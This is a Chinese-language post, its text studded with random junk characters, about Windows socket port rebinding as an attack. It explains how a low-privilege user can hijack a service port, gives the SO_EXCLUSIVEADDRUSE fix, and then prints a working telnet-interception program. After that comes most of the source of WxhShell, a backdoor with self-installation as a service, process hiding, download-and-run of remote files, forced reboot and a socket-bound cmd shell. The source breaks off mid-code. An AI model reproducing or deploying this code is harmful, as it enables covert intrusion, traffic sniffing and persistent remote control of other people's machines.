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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wu`P=- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q-5U,!!W/ E,$5V^
9 saddr.sin_family = AF_INET; {OGv1\ol& k]] e8> saddr.sin_addr.s_addr = htonl(INADDR_ANY); j" ~gEGfK "+k^8ki bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wzNGL{3 IWs)n1D*] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]O 8hkGa Ce-D^9kC 这意味着什么?意味着可以进行如下的攻击: ,5J}Wo?Q} se]q~<& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y{O817 \ p0b MgP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )4CF*>*6V
TD6MP9L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 si,W.9rU 9%6W_0> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %5rC`9^
bMDj+i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XmI63W* yf@DaIG 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Unc_e `p\@b~GM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LqcHsUFj $CP_oEb #include 4pG!m&4]ze #include p6|RV(?8 #include p8_
CY[U #include y~-dQ7r DWORD WINAPI ClientThread(LPVOID lpParam); }n[<$*W^ int main() k%2Rv4)hU { 2GW.'\D WORD wVersionRequested; DVLF8]5 DWORD ret; t
IO 'ky WSADATA wsaData; OK \F BOOL val; Nub)]S>_/t SOCKADDR_IN saddr; *@SZ0 SOCKADDR_IN scaddr; Im<( int err; wbA<G&h~ SOCKET s; d@#wK~I SOCKET sc; p0Ra`*f int caddsize; 86HK4sES HANDLE mt; tShyG!b DWORD tid; dp~] Wx wVersionRequested = MAKEWORD( 2, 2 ); m%[`NP ( err = WSAStartup( wVersionRequested, &wsaData ); zM+eb| >cr if ( err != 0 ) { '%\FT-{ printf("error!WSAStartup failed!\n"); Ubf@"B return -1; '3eL^Aq } %FSY}65 saddr.sin_family = AF_INET; lJ$j[Y 9:1[4o)~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~
u',Way jGaI6G'N saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lk`,s saddr.sin_port = htons(23); ),;O3:n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c
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{ ne-;gTP; printf("error!socket failed!\n"); 8P[aX3T7G return -1; <V_P)b8$1 } HLsG<# val = TRUE; j$mCU? //SO_REUSEADDR选项就是可以实现端口重绑定的 lOJ3_8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l
%M0^d6M { h.WvPZ2U printf("error!setsockopt failed!\n"); @24)*d^1 return -1; 9zs!rlzQ } RhQ[hI //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3X#)PX9b){ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [zMnlO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1SO!a R#g K]s*rPT/, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,"U_oa3 { oasEG6OI8 ret=GetLastError(); Eu)(@,]we printf("error!bind failed!\n"); ?X5Y8n]y\h return -1; }=T=Z#OgH } b<1+q{0r listen(s,2); IyJHKDFk while(1) %UnL,V9) { )ZqY`by! caddsize = sizeof(scaddr); n)xLEx, //接受连接请求 p81Vt sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eGr;P aG if(sc!=INVALID_SOCKET) x-%4-) { | g[iK1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~&\} qz3 if(mt==NULL) /CfgxPo { U2TR>0l printf("Thread Creat Failed!\n"); VsR8|Hn$ break; k 3S } I2G:jMPy } k/]4L!/ T CloseHandle(mt); ]
lONi } h
qT6]* closesocket(s); ).D+/D/"2 WSACleanup(); 9f U,_`r return 0; l Taw6; } h =E)5&Z DWORD WINAPI ClientThread(LPVOID lpParam) rD":Gac { zC<k4[ . SOCKET ss = (SOCKET)lpParam; Lw_s'QNWR SOCKET sc; !gbPxfH:6 unsigned char buf[4096]; YOE!+MiO SOCKADDR_IN saddr; GX-V|hLaGX long num; k?7V#QW( DWORD val; o{r<=X ysM DWORD ret; <A+n[h //如果是隐藏端口应用的话,可以在此处加一些判断 W3aFao>!OZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *47',Qy saddr.sin_family = AF_INET; W _JGJV.^f saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_ 0g\g~[ saddr.sin_port = htons(23); yuA+YZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TcEvUZJ" { x_VD9 printf("error!socket failed!\n"); yNc"E return -1; '"Z\8;5i } DITo.PU val = 100; Ae[Na:G+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~>-MVp { p;0p!~F=49 ret = GetLastError(); Y5,[udF:O return -1; ":!7R<t } (RBzpAiH if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^T&@(|o { AAW])c`. ret = GetLastError(); [QZ g=." return -1; PqDffZ^z } aTL u7C\-e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) INjr$'* { 8;\ printf("error!socket connect failed!\n"); K~6,xZlDWM closesocket(sc); rU!QXg]uD closesocket(ss); 4#"_E:;PQ return -1; |x#w8=VP- } ]/ffA|"U` while(1) R!Lh~~@{( { cM 5V%w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OAw- -rl //如果是嗅探内容的话,可以再此处进行内容分析和记录 b<bj5m4fz> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [Rxbb+,U num = recv(ss,buf,4096,0); p'f8?jt if(num>0) 7H!/et?S, send(sc,buf,num,0); Q/zlU@ else if(num==0) ;eY.4/*R break; CyXFuk!R num = recv(sc,buf,4096,0); 'nRoa7v( if(num>0) /?*GJN#
send(ss,buf,num,0); dYxX%"J else if(num==0) iKM!>Fi break; #AO?<L } 0(|Yy/Yq closesocket(ss); BL[N closesocket(sc); CFTw=b@ return 0 ; oT0TbZu% } Cno+rmsfT SPN5H;{[]K
kJ[r.)HU ========================================================== P+:DLex }5]2tH${ 下边附上一个代码,,WXhSHELL uEui{_2$ AC&)FY ========================================================== N(Sc!rX +oev NM #include "stdafx.h" slTE. q/#pol #include <stdio.h> r\T'_wo #include <string.h> /nWBo l, #include <windows.h> riv8qg #include <winsock2.h> E*AI}:or; #include <winsvc.h> @s.civ!Yk #include <urlmon.h> 4..M *U [JVEKc ym #pragma comment (lib, "Ws2_32.lib") !*e1F9k #pragma comment (lib, "urlmon.lib") c4V%>A Lvd es.0| #define MAX_USER 100 // 最大客户端连接数 cNl NJ #define BUF_SOCK 200 // sock buffer cw3j&k #define KEY_BUFF 255 // 输入 buffer W7#dc89} 8vqx}2 #define REBOOT 0 // 重启 4&kC8
[ r #define SHUTDOWN 1 // 关机 Bw/8-:eb :Xi&H.k)p #define DEF_PORT 5000 // 监听端口 g^:
&Dh VjLv{f<p #define REG_LEN 16 // 注册表键长度 V|&->9" #define SVC_LEN 80 // NT服务名长度 Ji)Ys
ebV c> 0R_ // 从dll定义API 363KU@` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e|}B;< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B",;z)(% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z_8lf_N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .+(R,SvN%< %k'>bmJ // wxhshell配置信息 1I?`3N struct WSCFG { 2h:{6Gq8 int ws_port; // 监听端口 D/YMovH% char ws_passstr[REG_LEN]; // 口令 i_e%HG int ws_autoins; // 安装标记, 1=yes 0=no Dv"HFQuF char ws_regname[REG_LEN]; // 注册表键名 Marx=cNj char ws_svcname[REG_LEN]; // 服务名 UQ#t & char ws_svcdisp[SVC_LEN]; // 服务显示名 I%:\"g"c char ws_svcdesc[SVC_LEN]; // 服务描述信息 U#Wg"W{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cq0-Dd9^& int ws_downexe; // 下载执行标记, 1=yes 0=no r yNe=9p char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" [\3W_jR char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |Kb
m74Z% 7epil }; t0_4jVt 3 <)+)n // default Wxhshell configuration Z 4QL&?U
struct WSCFG wscfg={DEF_PORT, R-YNg "xuhuanlingzhe", R} X"di 1, k8c(|/7d "Wxhshell", yV*jc`1
"Wxhshell", |Iknk, "WxhShell Service", kvG.?^ v "Wrsky Windows CmdShell Service", Lpohc4d[V "Please Input Your Password: ", *,|x
p 1, 4sq](!A " http://www.wrsky.com/wxhshell.exe", Ihp
Ea,v) "Wxhshell.exe" [}HS[($ }; ik#ti=. H'+3<t> // 消息定义模块 5PsjGvm.% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ya4yW9* char *msg_ws_prompt="\n\r? for help\n\r#>"; #mYe@[p@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; UD=[::## char *msg_ws_ext="\n\rExit."; \%&):OD1 char *msg_ws_end="\n\rQuit."; D"gv:RojD char *msg_ws_boot="\n\rReboot..."; mUy>w char *msg_ws_poff="\n\rShutdown..."; OS-k_l L char *msg_ws_down="\n\rSave to "; f0879(,i iJH?Z,Tjf char *msg_ws_err="\n\rErr!"; g/frg(KF char *msg_ws_ok="\n\rOK!"; ;nrkC\SYh: EW`3$J; char ExeFile[MAX_PATH]; }
m"':f int nUser = 0; ++n_$Qug HANDLE handles[MAX_USER]; xR8y"CpE int OsIsNt; ~ mz X1[ 10Q!-K),p SERVICE_STATUS serviceStatus; uFA}w:Fm SERVICE_STATUS_HANDLE hServiceStatusHandle; >0_{80bdO eX1_=?$1P // 函数声明 +|Izjx]ZV int Install(void); b;FaTm@ int Uninstall(void); }@"v7X $ int DownloadFile(char *sURL, SOCKET wsh); !jf!\Uu[U int Boot(int flag); ep4?;Qmho void HideProc(void); W[R`],x` int GetOsVer(void); V qcw2 int Wxhshell(SOCKET wsl); *mH&Gn1 void TalkWithClient(void *cs); r
KYQ 8T int CmdShell(SOCKET sock); &@FufpPw/ int StartFromService(void); T% GR{mp int StartWxhshell(LPSTR lpCmdLine); <Sr:pm B}nT>Ub VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KrR`A(=WL VOID WINAPI NTServiceHandler( DWORD fdwControl ); LP !d|X 3?D{iMRM // 数据结构和表定义 m&yHtnt SERVICE_TABLE_ENTRY DispatchTable[] = y|=KrvMHJ { R;pIi/yDRe {wscfg.ws_svcname, NTServiceMain}, p( )LQT! {NULL, NULL} ?gBFfi }; ~k%XW$cV /;vHAtt;f // 自我安装 -BSO$'{7 int Install(void) D<:zw/IRE { X,c`,B03 char svExeFile[MAX_PATH]; "_2;+@+ HKEY key; c>3j$D+ strcpy(svExeFile,ExeFile); *2fJdY >6Jz=N, // 如果是win9x系统,修改注册表设为自启动 ;O|u`fAqT if(!OsIsNt) { u@P1`E1Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OsW*@v( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8
&v)Vi- RegCloseKey(key); d,o*{sM5d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7kITssVHI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~T/tk?:8Vi RegCloseKey(key); P,b&F return 0; .4l
cES~ } ;VE KrVD } EG|_YW7 } Yg}b%u,Q else { o^'QGs " $d,/(*Y#- // 如果是NT以上系统,安装为系统服务 pFV~1W: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R\Ckk;<$ if (schSCManager!=0) CMyz!jZ3 { K"hnGYt? SC_HANDLE schService = CreateService u/NcX ( B~M6l7^? schSCManager, _k;HhLj` wscfg.ws_svcname, 2G<XA wscfg.ws_svcdisp, Sn^M[}we SERVICE_ALL_ACCESS, t BG
9Mn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .;S1HOHz4 SERVICE_AUTO_START, d^v.tYM$N SERVICE_ERROR_NORMAL, k2.k}?w!JO svExeFile, p$ETAvD NULL, j/F('r~L NULL, 2kk; z0f NULL, A`Rs
n\ NULL, -%Ce NULL =diGuIB ); |f\WVGH if (schService!=0) 4?+jvVq { aL&9.L|1g CloseServiceHandle(schService); dPxJ`8 CloseServiceHandle(schSCManager); xZM4CR9]*C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #_|O93HN' strcat(svExeFile,wscfg.ws_svcname); HIt9W]koO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o9yUJ@
:i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~w9`l8/0 RegCloseKey(key); zD<8.AIGC return 0; gIIF17|Z } 7TU xdI } 1
.[OS CloseServiceHandle(schSCManager); 1*'gaa&y } 9g'6zB } (i?9/8I 9Zmq7a
E return 1;
w~jm0jK] } [@B!N+P5; c.5u \I9" // 自我卸载 \rO!lvX int Uninstall(void) 3xKgj5M { [0]J
2 HKEY key; 'm"Ez'sS a#x@e?GvI if(!OsIsNt) { VR%*8= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,rF!o_7 RegDeleteValue(key,wscfg.ws_regname); G:wO1f6 RegCloseKey(key); 3OY(L` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &}|`h8JA]K RegDeleteValue(key,wscfg.ws_regname); @?;)x&<8?3 RegCloseKey(key); JoZzX{eu" return 0; :Bu)cy#/[ } _meW9)B } sY?wQ: } rx@i.+ else { !,rF(pz D~|q^Ms,% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5*Qzw[[= if (schSCManager!=0) Y7 K2@257 { k7L4~W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rz2,42H] if (schService!=0) ${}9/(x/^ { 2- (}=N if(DeleteService(schService)!=0) { B@*!>R CloseServiceHandle(schService); W7@Vma` CloseServiceHandle(schSCManager); %`\Qtsape return 0; #JY> } "3|OB, <;: CloseServiceHandle(schService); -j:yE Z4Oy } GU 9p'E CloseServiceHandle(schSCManager); .2_xTt } m(EVC}Y } :S7[<SwL 57]La^# return 1; X?JtEQ~> } p,uM)LD
ne 3t|JZ // 从指定url下载文件 y@7CY-1 int DownloadFile(char *sURL, SOCKET wsh) OsVz[w N { 9C7HL;MF HRESULT hr; (:%t char seps[]= "/"; )vg@Kc26 char *token; PlT_]p char *file; ~r'ApeI9 char myURL[MAX_PATH]; ='C;^
Bk char myFILE[MAX_PATH]; @`Dh7Q IG2z3(j strcpy(myURL,sURL); 86dz Jh token=strtok(myURL,seps); B(6*U~Kn% while(token!=NULL) .|TF /b] { ZP&iy$<L file=token; :Z_abKt token=strtok(NULL,seps); /F''4%S?E } C@-cLk ^ P
A|RFP GetCurrentDirectory(MAX_PATH,myFILE); hstGe>f[6 strcat(myFILE, "\\"); Jw^my4 strcat(myFILE, file); UlKg2p send(wsh,myFILE,strlen(myFILE),0); l|vT[X/g send(wsh,"...",3,0); "?W8o[c+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !x||ObW\H if(hr==S_OK) )nK+`{;@! return 0; i }Zz[b else r(_Fr#Qn return 1; * kUb[ qg<Y^y } jHA(mU)b HqV4!o9' // 系统电源模块 p6)6Gcx int Boot(int flag) npbf>n^R { ~DB:/VSmu HANDLE hToken; wAzaxeV= TOKEN_PRIVILEGES tkp; jIHY[yDT jZvIqR/ if(OsIsNt) { se}$/Y}t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g2 mq?q(g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zzh7 "M3Qn tkp.PrivilegeCount = 1; "GJ.`Hj tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YB^m!A),I[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6lkCLH if(flag==REBOOT) { 'P4V_VMK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ycvgF6Me< return 0; BGOS( } :Dtm+EQ else { &NbSG+t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jYBiC DD return 0; ~3-+~y=o~ } ?[WUix; } -yu$Mm else { s&wm^R if(flag==REBOOT) { hAP2DeT$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6{g&9~V return 0; =KD[#au6a } t#-4edB, else { +Q[SddI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M-F{I%Vx return 0; KF!d? } l2wu>Ar7. } d>r ]xXB6 D$w? return 1; Bi"cWO } e ^`La*n 8vfC // win9x进程隐藏模块 <$#^)]Ts void HideProc(void) TQ[J, { _.EM])b pE0@m-p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RmOkb~ if ( hKernel != NULL ) uBC#4cX`D* { 1Vz3N/AP%? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {?A/1q4rr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8)83j6VF FreeLibrary(hKernel); ^?A>)?Sq } gd]_OY7L q%)."10}] return; ltkA7dUbu } 1$:O9{F mQ<Vwx0 // 获取操作系统版本 i~5'bSqc int GetOsVer(void) =Pp-9<&S { zY-?Bv_D OSVERSIONINFO winfo; qzSm]l?z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bhfKhXh8 GetVersionEx(&winfo); \`-xxhb?e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;rnhv:Iw return 1; {7 ](- else g"g3|$#Ej| return 0; ]{0OPU } N&(MM.\`^ H6KBXMYO // 客户端句柄模块 %.fwNS int Wxhshell(SOCKET wsl) 5*Dh#FRp { 5CH8;sMK SOCKET wsh; e#WASHZN struct sockaddr_in client; OL@$RTh DWORD myID; {"rL3Lk [8 23w.{]# while(nUser<MAX_USER) 6J cXhlB` { Tku6X/LF int nSize=sizeof(client); "z;R"sv\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V!>j:" if(wsh==INVALID_SOCKET) return 1; O.-n&U9 $EEn]y
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ST;o^\B if(handles[nUser]==0) Px9 K closesocket(wsh); ;(A- else scYqU7$%T nUser++; WglpWp) } ;r&Z?B$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s9OW.i]zX M_>kefr return 0; >/lB%<$/ } vxLr034 [HUK
9hG // 关闭 socket %u_dxpx void CloseIt(SOCKET wsh) kyt HOn# { c!'\k,ma<9 closesocket(wsh); SynRi/BRmw nUser--; ?u/UV,";y ExitThread(0); {?2|rv) } 'W>y v <RZqs // 客户端请求句柄 #f HnM+ void TalkWithClient(void *cs) +8x_f0< { ~P"Agpx3u RA;/ ?l SOCKET wsh=(SOCKET)cs; -sZb+2tDa char pwd[SVC_LEN]; Li"+` char cmd[KEY_BUFF]; W&&|T;P<J char chr[1]; E^br-{|{ int i,j; ';My"/
Z- +6
=lN[b while (nUser < MAX_USER) { mfS}+_ C KfYU.Q if(wscfg.ws_passstr) { CV_M | if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c:&8B/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \7>*ULP //ZeroMemory(pwd,KEY_BUFF); S' kgpF"bm i=0; O`"~AY& while(i<SVC_LEN) { dUt4]
ar F",TP,X // 设置超时 ",J&UTUh fd_set FdRead; `b] wyP struct timeval TimeOut; &R?to>xr\ FD_ZERO(&FdRead); '3Q~y"C+4 FD_SET(wsh,&FdRead); D~U RY_[A TimeOut.tv_sec=8; ey,f igjd. TimeOut.tv_usec=0; XWQ `]m) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tHHJ|4C if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @"1Z;.S8V .4tu{\YX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R=<::2_Y96 pwd =chr[0];
s2wDJ| if(chr[0]==0xd || chr[0]==0xa) { F:q8.^HTJ pwd=0; bt_c$TN break; :]]x^wony~ } )S 4RR2Q> i++; :z&kbG } ir>h3Zk II| ;_j // 如果是非法用户,关闭 socket HLG5SS7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \w>Rmf'| } 1K<} wy#>Aq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &Tj7qlP\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FQ1B%u| b;5j awG while(1) { i*m;kWu, e&U$;sS` ZeroMemory(cmd,KEY_BUFF); R@s7s%y= ipg`8*My // 自动支持客户端 telnet标准 EU%v
|] j=0; cz/cY:o) while(j<KEY_BUFF) { b1jDbiH& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9_iwikD cmd[j]=chr[0]; PnInsf%; if(chr[0]==0xa || chr[0]==0xd) { vmrs(k "d# cmd[j]=0; {*TB }Xsr, break; -m=A1~|7 } yiI
oqvP j++; {wj%WSQj/y } L6fbR-&Lt 1iLo$ // 下载文件 2IRARZ,3 if(strstr(cmd,"http://")) { ?[m1? send(wsh,msg_ws_down,strlen(msg_ws_down),0); AWx@Z7\z"g if(DownloadFile(cmd,wsh)) k{{3nenAG send(wsh,msg_ws_err,strlen(msg_ws_err),0); KV|D]} else oy5K*
} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ab%I&B<b } v;9(FLtL else { B5vLV@>] j~K(xf switch(cmd[0]) { *jWh4F, f$kbb6juL // 帮助 G'#u!<(^h case '?': { *pSnEWwE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W&R67ff| break; @48!e-W } +$nNYD
// 安装 jOrfI-&.G case 'i': { 5X+`aB if(Install()) }F!Uu
KR send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2w8cJadT'p else ej&.tNvq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,52 IR[I<T break; [f6BA|
} }u3|w0~c) // 卸载 Xb>SA|6[| case 'r': { H1B%}G*Ir- if(Uninstall()) 0E!-G= v send(wsh,msg_ws_err,strlen(msg_ws_err),0); `'<$N<! else {}ADsh@7d' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WQ[nK5# break; '@hUmrl } `4'=&c9 // 显示 wxhshell 所在路径 R2a99# J case 'p': { u*P@Nuy6 char svExeFile[MAX_PATH]; dhLR#m30T strcpy(svExeFile,"\n\r"); e1h7~ j strcat(svExeFile,ExeFile); !Md6Lh%-w send(wsh,svExeFile,strlen(svExeFile),0); }EkL[H! break; J( XDwt } jQ3dLctn // 重启 G"J
nQ case 'b': { iJ^}{- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rZ3ji(4HS if(Boot(REBOOT)) rC_1f3A send(wsh,msg_ws_err,strlen(msg_ws_err),0); pgh(~[ else { K;sC#9m closesocket(wsh); S sW<,T ExitThread(0); Aipm=C8 } cxSHSv1; break; {\0V$#q } @XM*N7 // 关机 #2ta8m), case 'd': { MooH`2Fd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
6A]I" E]5 if(Boot(SHUTDOWN)) 6P717[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); DMG'8\5C else { .Vnb+o closesocket(wsh); RIXeV*ix ExitThread(0); |6bvUFr } oj Y.6w break; ~nmFZ]y } b)KEB9w // 获取shell `MPR-"Z6 case 's': { k &J;,)V CmdShell(wsh); JfWkg`LqL closesocket(wsh); axvZA:l ExitThread(0); ph6'(, break; tyW}=xs } uuwJ- // 退出 c(
U,FUS case 'x': { OHBCanZZ, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dLb$3!3 CloseIt(wsh); _3 oo%?} break; VED~v#.c } *w(n%f // 离开 t :YZua case 'q': { GLecBF+>F send(wsh,msg_ws_end,strlen(msg_ws_end),0);
2hF^U+I} closesocket(wsh); 4>V@+#Ec5 WSACleanup(); 5wx~QV=Hh exit(1); 1 mJUlx break; JZ-@za6u } ^-q{:lx } <Qih&P9;> } (i%bQZt^? Xzg >/w
8J // 提示信息 d;l%XZe if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &-Ch>:[
} J(d+EjC } ^;a
.;wR E7\K{] return; >JE+g[$@ } F}45.CrD Bc }o3oc // shell模块句柄 [T =>QS@g int CmdShell(SOCKET sock) NN'pBUR { |\uj(| STARTUPINFO si; <dP\vLH_ ZeroMemory(&si,sizeof(si)); i;C` .+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BT8)t.+pv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .W~XX PROCESS_INFORMATION ProcessInfo; m0ra char cmdline[]="cmd"; }YdC[b$j^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &2XH.$Q return 0; i4i9EvWp } U&])ow): ,P}7e)3 // 自身启动模式 hGV_K" ~I0 int StartFromService(void) +W[f>3`VQ { lG'D/# typedef struct e16H@ { t{iRCj DWORD ExitStatus; k-n`R)p: DWORD PebBaseAddress; e`={_R{N DWORD AffinityMask; o"X..m< DWORD BasePriority; pp(09y`] ULONG UniqueProcessId; q&>fKS nKs ULONG InheritedFromUniqueProcessId; 1O0. CC,p } PROCESS_BASIC_INFORMATION; G) KI{D hmkb!) PROCNTQSIP NtQueryInformationProcess; ZKEoU! 2! ,ndLA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H ;=^
